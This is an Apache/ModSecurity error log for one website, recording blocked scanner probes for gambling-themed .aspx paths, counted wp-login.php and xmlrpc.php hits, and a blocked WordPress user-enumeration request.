[Sun Mar 29 19:40:35.896004 2026] [:error] [pid 32255:tid 32292] [client 54.37.252.36:54402] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ackPs2nfn-AtRoMbquy8ZgAAAEE"]
[Sun Mar 29 19:40:37.817839 2026] [:error] [pid 8818:tid 8835] [client 54.37.252.36:54408] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ackPtSCDvotZNSF0FBrGHwAAAU0"]
[Sun Mar 29 19:40:39.749347 2026] [:error] [pid 23137:tid 23154] [client 54.37.252.36:35188] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ackPtxaWQa7LdZ_qGFborAAAAY8"]
[Sun Mar 29 19:40:41.546280 2026] [:error] [pid 32255:tid 32314] [client 54.37.252.36:35202] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "ackPuWnfn-AtRoMbquy8dwAAAFc"]
[Sun Mar 29 19:42:36.695996 2026] [:error] [pid 32257:tid 32330] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQLCE3TArOFrUtgWrzYQAAAIw"], referer: https://www.bing.com/
[Sun Mar 29 19:42:57.590751 2026] [:error] [pid 32257:tid 32331] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ackQQSE3TArOFrUtgWrzewAAAI0"]
[Sun Mar 29 19:42:59.236149 2026] [:error] [pid 32257:tid 32320] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQQyE3TArOFrUtgWrzfgAAAII"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:43:02.240838 2026] [:error] [pid 32257:tid 32340] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQRiE3TArOFrUtgWrzhgAAAJY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:43:03.434470 2026] [:error] [pid 32257:tid 32337] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQRyE3TArOFrUtgWrziQAAAJM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:43:05.879051 2026] [:error] [pid 32257:tid 32336] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQSSE3TArOFrUtgWrziwAAAJI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:43:07.046323 2026] [:error] [pid 32257:tid 32334] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQSyE3TArOFrUtgWrzjAAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:43:09.611373 2026] [:error] [pid 32257:tid 32318] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQTSE3TArOFrUtgWrzlAAAAIA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:43:10.789919 2026] [:error] [pid 32257:tid 32323] [client 129.213.65.150:62358] [client 129.213.65.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 129.213.65.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ackQTiE3TArOFrUtgWrzlQAAAIU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 29 19:53:00.271958 2026] [:error] [pid 32257:tid 32328] [client 191.37.148.194:61274] [client 191.37.148.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.37.148.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ackSnCE3TArOFrUtgWr4IgAAAIo"]
[Sun Mar 29 20:39:09.666744 2026] [:error] [pid 23137:tid 23149] [client 40.87.104.188:14737] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "ackdbRaWQa7LdZ_qGFbwNAAAAYo"]
[Sun Mar 29 20:39:10.572909 2026] [:error] [pid 23250:tid 23258] [client 40.87.104.188:12842] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "ackdbpxrpj-dQjy1cvr32gAAAkY"]
[Sun Mar 29 20:39:11.432065 2026] [:error] [pid 23284:tid 23290] [client 40.87.104.188:10593] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "ackdb4zBujdPHsq7wyRuBAAAAoQ"]
[Sun Mar 29 20:39:12.294281 2026] [:error] [pid 23284:tid 23287] [client 40.87.104.188:12144] [client 40.87.104.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "ackdcIzBujdPHsq7wyRuCQAAAoE"]
[Sun Mar 29 21:34:14.360027 2026] [:error] [pid 32255:tid 32306] [client 196.115.202.59:58777] [client 196.115.202.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.115.202.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ackqVmnfn-AtRoMbquzkuwAAAE8"]
[Sun Mar 29 23:15:13.397558 2026] [:error] [pid 32255:tid 32300] [client 62.84.185.56:37286] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aclCAWnfn-AtRoMbquwR8AAAAEk"]
[Sun Mar 29 23:15:16.175368 2026] [:error] [pid 32255:tid 32302] [client 62.84.185.56:37298] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aclCBGnfn-AtRoMbquwR9gAAAEs"]
[Sun Mar 29 23:15:19.980870 2026] [:error] [pid 23284:tid 23288] [client 62.84.185.56:6574] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aclCB4zBujdPHsq7wyTecQAAAoI"]
[Sun Mar 29 23:15:23.089092 2026] [:error] [pid 23168:tid 23203] [client 62.84.185.56:6584] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aclCC2P8p0yRL8ot_2-4pQAAAgY"]
[Sun Mar 29 23:15:26.285792 2026] [:error] [pid 32257:tid 32325] [client 62.84.185.56:6600] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aclCDiE3TArOFrUtgWpkUwAAAIc"]
[Sun Mar 29 23:15:28.879155 2026] [:error] [pid 8818:tid 8825] [client 62.84.185.56:50400] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aclCECCDvotZNSF0FBrxxQAAAUM"]
[Sun Mar 29 23:15:31.589176 2026] [:error] [pid 23168:tid 23199] [client 62.84.185.56:50416] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aclCE2P8p0yRL8ot_2-4rgAAAgI"]
[Sun Mar 29 23:15:33.968335 2026] [:error] [pid 23284:tid 23297] [client 62.84.185.56:50420] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aclCFYzBujdPHsq7wyTegAAAAos"]
[Sun Mar 29 23:15:36.380052 2026] [:error] [pid 32255:tid 32300] [client 62.84.185.56:34398] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aclCGGnfn-AtRoMbquwSFAAAAEk"]
[Sun Mar 29 23:15:38.983792 2026] [:error] [pid 8818:tid 8832] [client 62.84.185.56:34406] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aclCGiCDvotZNSF0FBrxzgAAAUo"]
[Sun Mar 29 23:15:41.397764 2026] [:error] [pid 23168:tid 23200] [client 62.84.185.56:34420] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aclCHWP8p0yRL8ot_2-4yAAAAgM"]
[Sun Mar 29 23:15:43.788019 2026] [:error] [pid 23284:tid 23287] [client 62.84.185.56:34436] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aclCH4zBujdPHsq7wyTeswAAAoE"]
[Sun Mar 29 23:15:46.492372 2026] [:error] [pid 32255:tid 32303] [client 62.84.185.56:5170] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aclCImnfn-AtRoMbquwSKQAAAEw"]
[Sun Mar 29 23:15:48.979186 2026] [:error] [pid 32257:tid 32335] [client 62.84.185.56:5174] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aclCJCE3TArOFrUtgWpkbAAAAJE"]
[Sun Mar 29 23:15:51.370087 2026] [:error] [pid 23284:tid 23287] [client 62.84.185.56:5182] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aclCJ4zBujdPHsq7wyTeygAAAoE"]
[Sun Mar 29 23:15:54.188525 2026] [:error] [pid 32255:tid 32301] [client 62.84.185.56:5184] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aclCKmnfn-AtRoMbquwSOgAAAEo"]
[Sun Mar 29 23:15:57.177962 2026] [:error] [pid 23284:tid 23294] [client 62.84.185.56:19440] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aclCLYzBujdPHsq7wyTe2AAAAog"]
[Sun Mar 29 23:16:00.078452 2026] [:error] [pid 32255:tid 32297] [client 62.84.185.56:19442] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aclCMGnfn-AtRoMbquwSRgAAAEY"]
[Sun Mar 29 23:16:02.881570 2026] [:error] [pid 23284:tid 23299] [client 62.84.185.56:19444] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aclCMozBujdPHsq7wyTe4gAAAo0"]
[Sun Mar 29 23:16:05.576536 2026] [:error] [pid 32255:tid 32308] [client 62.84.185.56:19448] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aclCNWnfn-AtRoMbquwSSwAAAFE"]
[Sun Mar 29 23:16:59.788949 2026] [:error] [pid 23137:tid 23148] [client 62.84.185.56:29044] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aclCaxaWQa7LdZ_qGFYIrAAAAYk"]
[Sun Mar 29 23:17:02.979893 2026] [:error] [pid 23250:tid 23269] [client 62.84.185.56:29056] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aclCbpxrpj-dQjy1cvoUJgAAAlE"]
[Sun Mar 29 23:17:06.792488 2026] [:error] [pid 23284:tid 23302] [client 62.84.185.56:23122] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aclCcozBujdPHsq7wyTfoAAAApA"]
[Sun Mar 29 23:17:09.681146 2026] [:error] [pid 32359:tid 32364] [client 62.84.185.56:23138] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aclCdQMb8G3UzfQP3Wg6jQAAAMM"]
[Sun Mar 29 23:17:12.269132 2026] [:error] [pid 32254:tid 32284] [client 62.84.185.56:23150] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aclCeKug2IHuyGgCTn9lUAAAABQ"]
[Sun Mar 29 23:17:15.177198 2026] [:error] [pid 32359:tid 32382] [client 62.84.185.56:23156] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aclCewMb8G3UzfQP3Wg6kwAAANU"]
[Sun Mar 29 23:17:17.683854 2026] [:error] [pid 23167:tid 23170] [client 62.84.185.56:36348] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aclCfRIAHJCFaHff3_fVhQAAAcA"]
[Sun Mar 29 23:17:20.173333 2026] [:error] [pid 23168:tid 23198] [client 62.84.185.56:36360] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aclCgGP8p0yRL8ot_2-5QQAAAgE"]
[Sun Mar 29 23:17:22.889755 2026] [:error] [pid 23167:tid 23186] [client 62.84.185.56:36368] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aclCghIAHJCFaHff3_fVkgAAAdA"]
[Sun Mar 29 23:17:25.578440 2026] [:error] [pid 23168:tid 23207] [client 62.84.185.56:36378] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aclChWP8p0yRL8ot_2-5VwAAAgo"]
[Sun Mar 29 23:17:28.081663 2026] [:error] [pid 23137:tid 23162] [client 62.84.185.56:20024] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aclCiBaWQa7LdZ_qGFYIywAAAZc"]
[Sun Mar 29 23:17:30.684038 2026] [:error] [pid 23167:tid 23170] [client 62.84.185.56:20036] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aclCihIAHJCFaHff3_fVpwAAAcA"]
[Sun Mar 29 23:17:33.282414 2026] [:error] [pid 8818:tid 8843] [client 62.84.185.56:20052] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aclCjSCDvotZNSF0FBrybwAAAVU"]
[Sun Mar 29 23:17:36.195735 2026] [:error] [pid 32257:tid 32331] [client 62.84.185.56:20068] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aclCkCE3TArOFrUtgWplBwAAAI0"]
[Sun Mar 29 23:17:38.878621 2026] [:error] [pid 8818:tid 8845] [client 62.84.185.56:27616] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aclCkiCDvotZNSF0FBrydgAAAVc"]
[Sun Mar 29 23:17:41.572301 2026] [:error] [pid 32257:tid 32322] [client 62.84.185.56:27622] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aclClSE3TArOFrUtgWplGQAAAIQ"]
